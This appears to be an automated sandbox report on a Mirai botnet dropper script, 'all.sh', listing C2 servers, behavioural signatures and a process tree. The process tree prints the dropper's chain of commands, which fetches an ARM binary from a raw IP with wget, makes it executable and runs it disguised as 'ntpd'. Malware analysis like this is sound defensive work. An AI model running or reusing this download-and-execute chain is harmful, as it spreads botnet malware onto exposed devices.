Analysis
- max time kernel
149s - max time network
142s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
17/07/2026, 12:07
General
- Target all.sh
- Size 578B
- Sample260717-pal2eaat4j
- SHA256 d61c8941cc26939744082429f84b7fcb6611a62225aaff896afac68a105dead4
Score
10/10
Malware Config
Extracted
Family
-
mirai
C2
-
servers.loseyourip.com
-
89.190.156.145
Signatures
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Traces itself 22 IoCs
Traces itself to prevent debugging attempts
- Changes its process name 2 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/all.sh/tmp/all.sh1⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q http://8.213.214.55/nerv.arm7 -O /tmp/ntpd2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x /tmp/ntpd2⤵
- File and Directory Permissions Modification
-
-
/tmp/ntpd/tmp/ntpd2⤵
- Traces itself
- Changes its process name
- Checks CPU configuration
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ntpd